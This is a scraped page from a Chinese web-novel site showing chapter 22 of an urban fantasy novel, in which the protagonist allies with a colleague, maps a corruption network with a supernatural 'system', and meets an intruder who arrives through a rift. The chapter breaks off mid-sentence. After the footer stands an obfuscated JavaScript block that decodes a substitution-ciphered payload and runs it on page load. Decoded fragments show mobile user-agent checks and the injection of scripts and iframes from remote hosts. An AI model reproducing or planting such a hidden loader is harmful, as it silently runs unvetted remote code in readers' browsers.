首页
[切换至繁体版]
返回

# 第22章 暗察

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

们送回老家的那天晚上,就已经做好这辈子再也见不到她们的准备了。”
    天台上只剩下风声。
    风声在围栏的钢管之间穿过时发出低沉的呜咽,像是某种古老的管乐器吹奏出的单音。城市的光海在脚下铺展,无数窗口的灯光像镶嵌在黑暗中的发光鳞片,每一个鳞片后面都有各自的故事和困局。
    林远舟将文件收进外套内侧。风衣的内衬是光滑的涤纶材质,纸张贴着心脏的位置滑入口袋。那个位置,昨天晚上月光透过镜面碎片照出的冷光,刚好照在同一个地方——左侧第五根肋骨内侧,心脏最靠近胸腔前壁的位置。
    “陈哥,你女儿——”
    “我前天已经把她和她妈妈送回老家了。”陈铮打断他。他打断的时机很巧妙——恰好卡在“女儿”两个字刚刚出口、下一句话尚未成型的瞬间。他不想听安慰的话。不想听任何可能让他动摇的话。
    “孟知行的人到火车站时晚了一步。我买了四张票,三个不同方向,每张都在发车前最后一刻才退掉另外两张。我妻子带着女儿坐的是最慢的那趟绿皮车——一个半小时的车程,绕了三个小时。孟知行的人查高铁记录,查不到。查大巴,查不到。”他吸了一口烟,“他接下来会全力报复。下周一评审会,应该是他给我准备的最后一次‘机会’。但我不在乎。只要她们不在他手里——”
    陈铮把烟头弹向围栏外。橘红的火星在夜空中划过一道极短的抛物线,然后消失在楼下的光海中。
    “我就能站着跟你谈。不是跪着。”
    林远舟看着这个比自己大将近十岁的男人。陈铮的西装在肩部有不自然的褶皱——那是长时间紧张导致的肩部耸起留下的痕迹。他眼角的细纹比年龄应有的更深刻,嘴角的法令纹同样如此。但在所有这些疲惫的痕迹之下,支撑身体的骨架挺直了——不是刻意的挺直,而是某种东西从内部将他支起来。
    系统界面里,陈铮的情绪曲线终于趋于平稳。恐惧值降到19%,坚定值上升至81%——那是一个人到中年、一无所有但依然决定战斗的人才有的数据配比。
    “不是跟我谈。”林远舟伸出手。
    手掌在半空中摊开。天台的冷光在他掌心的纹路上投下极淡的阴影——生命线、智慧线、感情线,以及那些细小的、在三大主线之外分叉的无数支线。指纹的螺旋图案在某个角度的光线下隐约可见。
    “是跟我站一起。”
    陈铮看着那只手。
    他看了大概三次呼吸的时间。
    第一次呼吸,他的眼神里有犹豫——那种犹豫不是恐惧,而是某种近乎动物本能的警觉,像流浪猫面对伸出的手时,不确定接下来是抚摸还是打击。第二次呼吸,他的瞳孔微微扩张——某种被长久压抑的渴望正在上浮,那种渴望很简单,只是想要一个不需要时刻提防的同盟。第三次呼吸,他的喉结滚动,嘴唇抿成一条直线,眼角的肌肉微微抽动。
    然后他握住。
    陈铮的手掌比林远舟粗糙——指腹有茧子,那是长期握笔留下的;掌根有硬皮,那是某段时间里做过体力活的痕迹。握力很大,大到几乎让人疼痛的程度,但那不是攻击性——是一个人将所有剩余的安全感都押在这次相握上。
    林远舟回握。两条前臂的肌肉同时收紧,手背上的指节凸起,指骨与指骨之间隔着皮肤和筋膜咬合在一起。
    “并肩。”
    陈铮说这个字的时候,声音碎了。不是哽咽——而是某个词在声带振动时产生了本不该有的裂痕,像冰面上一条突然出现的裂纹。
    深夜十一点四十分,林远舟租住的公寓里只剩下电脑散热风扇的低频嗡鸣。
    风扇的轴承已经老化,转动时会产生周期性的“嗒嗒”声,每隔三点七秒出现一次——那是扇叶不平衡导致的微小震动。公寓的隔音不好,楼上住户的脚步声偶尔传来,闷响通过混凝土楼板传递,在天花板的某个位置形成轻微的共振。暖气管里的水流在墙壁内部流淌,带来时断时续的叮咚声。
    凌云项目的财务附件摊开在书桌上。
    台灯是宜家的白色LED款,色温可调,此刻调在最接近日光的4000K。冷调的白光均匀地铺在纸张表面,将每一处印刷瑕疵、每一枚红色公章的边缘模糊都照得纤毫毕现。林远舟用手机逐页拍照存档,手机镜头对焦时发出细微的马达声,每一“咔哒”的快门声都被公寓的安静放大。
    同时,他用系统的数据解析能力在视野中建立关系图谱。
    孙家文的名字在图表中心,字体的颜色是警告红。从他延伸出的连线共十七条——三条指向城建局,分别标注“土地审批加速”“容积率调整”“限高豁免”;四条指向土地交易中心,标注“招拍挂异常”“底价设定”“竞买人资格审查放水”;三条指向三家离岸公司,注册地分别是开曼、BVI和香港,最终受益人的字段显示“待解密”——那是律师事务所用代持人隐藏真实控制人的标准技法;剩下的七条延伸向星辰资本的一个隐秘子公司、两家从未公开招标的施工方、以及一个名字被系统用问号标记的政府高层联系人。
    另一侧屏幕上,许安然的照片打开着。照片是她入职鼎盛传媒时的证件照,白底,半身,她对着镜头微笑的弧度精准而标准——不多不少,恰好让人感到亲切却不会留下深刻印象。按照陈铮提供的信息,她两个月前被孟知行从孙家文的私人会所门口带走。
    孙家文的私人会所。
    孟知行带走。
    两个月前。
    林远舟在屏幕上用手指拖动许安然的照片,将它移到孙家文的节点旁边。手指在触摸屏上滑动时,玻璃面板传来冰凉的触感和极轻微的静电吸附。两个节点之间自动生成了虚线,系统标注“关联度:待验证”。
    线索开始闭合。
    许安然的镜面碎片。苏晚晴的镜面碎片。判官苏姓。评审长苏姓。重生者。守门人。第一重生者。所有这些线索在视野中的关系图谱里像无数条发光的丝线,每一条都若隐若现,每一条都通向不同的方向,但所有丝线的重叠点正在逐渐收拢到同一个区域——
    就在这时,客厅方向传来极其轻微的声响。
    那声响极其细微,细微到如果不是系统的听觉增强功能,林远舟几乎会错过——那是一个人平稳呼吸时,气息通过鼻腔的最低频震动。频率在150赫兹左右,音量不超过十五分贝。
    林远舟的手在键盘上停顿了不到半秒。
    他的指腹悬在T键上方三毫米的位置,保持着随时可以继续敲击的姿势。这个停顿被完美地伪装成了打字的自然间隙——一个思考措辞的人很可能会出现的停顿。
    然后他继续打字。
    键盘发出的敲击声节奏不变,力度不变,速度不变。但他的余光已经扫向玄关——
    门锁完好。
    链条挂着,金属链条在玄关墙壁上投下一条拉长的细影。
    但空气的流动轨迹已经改变了。房间里的气流原本是由窗户缝隙进入、从门缝排出的一条稳定对流。此刻,客厅沙发位置多了一个阻断气流的障碍物——空气在流经那个位置时产生了极其细微的紊流,紊流的声波频率大约在20赫兹,低于人耳听力阈值,但系统捕捉到了。
    “远舟。”
    声音从客厅沙发方向传来。
    林远舟从椅子上站起来。椅子的气压杆上升时发出比坐下时更尖锐的排气声。他转身的动作控制在不快不慢的日常速度——不是慌乱中过快的反应,也不是刻意镇定时过慢的迟滞。转身的瞬间,他的余光完成了对整个客厅的全景扫描。
    周明辉坐在黑暗里。
    他坐在三人沙发的左侧位置,双腿叠交,左手搭在沙发扶手上,右臂沿着沙发背伸展开。姿态轻松得像是坐在自己家里——事实上,过去四年里,他确实无数次以同样的姿势坐在林远舟客厅的同一个位置。那是四年室友生活养成的肌肉记忆。
    但林远舟从椅子上站起来时,看见了玄关墙壁上那个正在缓缓合拢的深蓝色光痕。
    不是门。
    不是窗。
    不是任何物理意义上的入口。
    那是一道大约两米高、八十厘米宽的裂痕——边缘泛着深海般的蓝光,光带的宽度在两厘米左右,正在从上下两端向中间匀速合拢。裂痕内部的颜色是无法定义的深暗,不是黑色,而是某种将所有光线都吸收掉的虚无。空气在裂痕边缘产生了
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();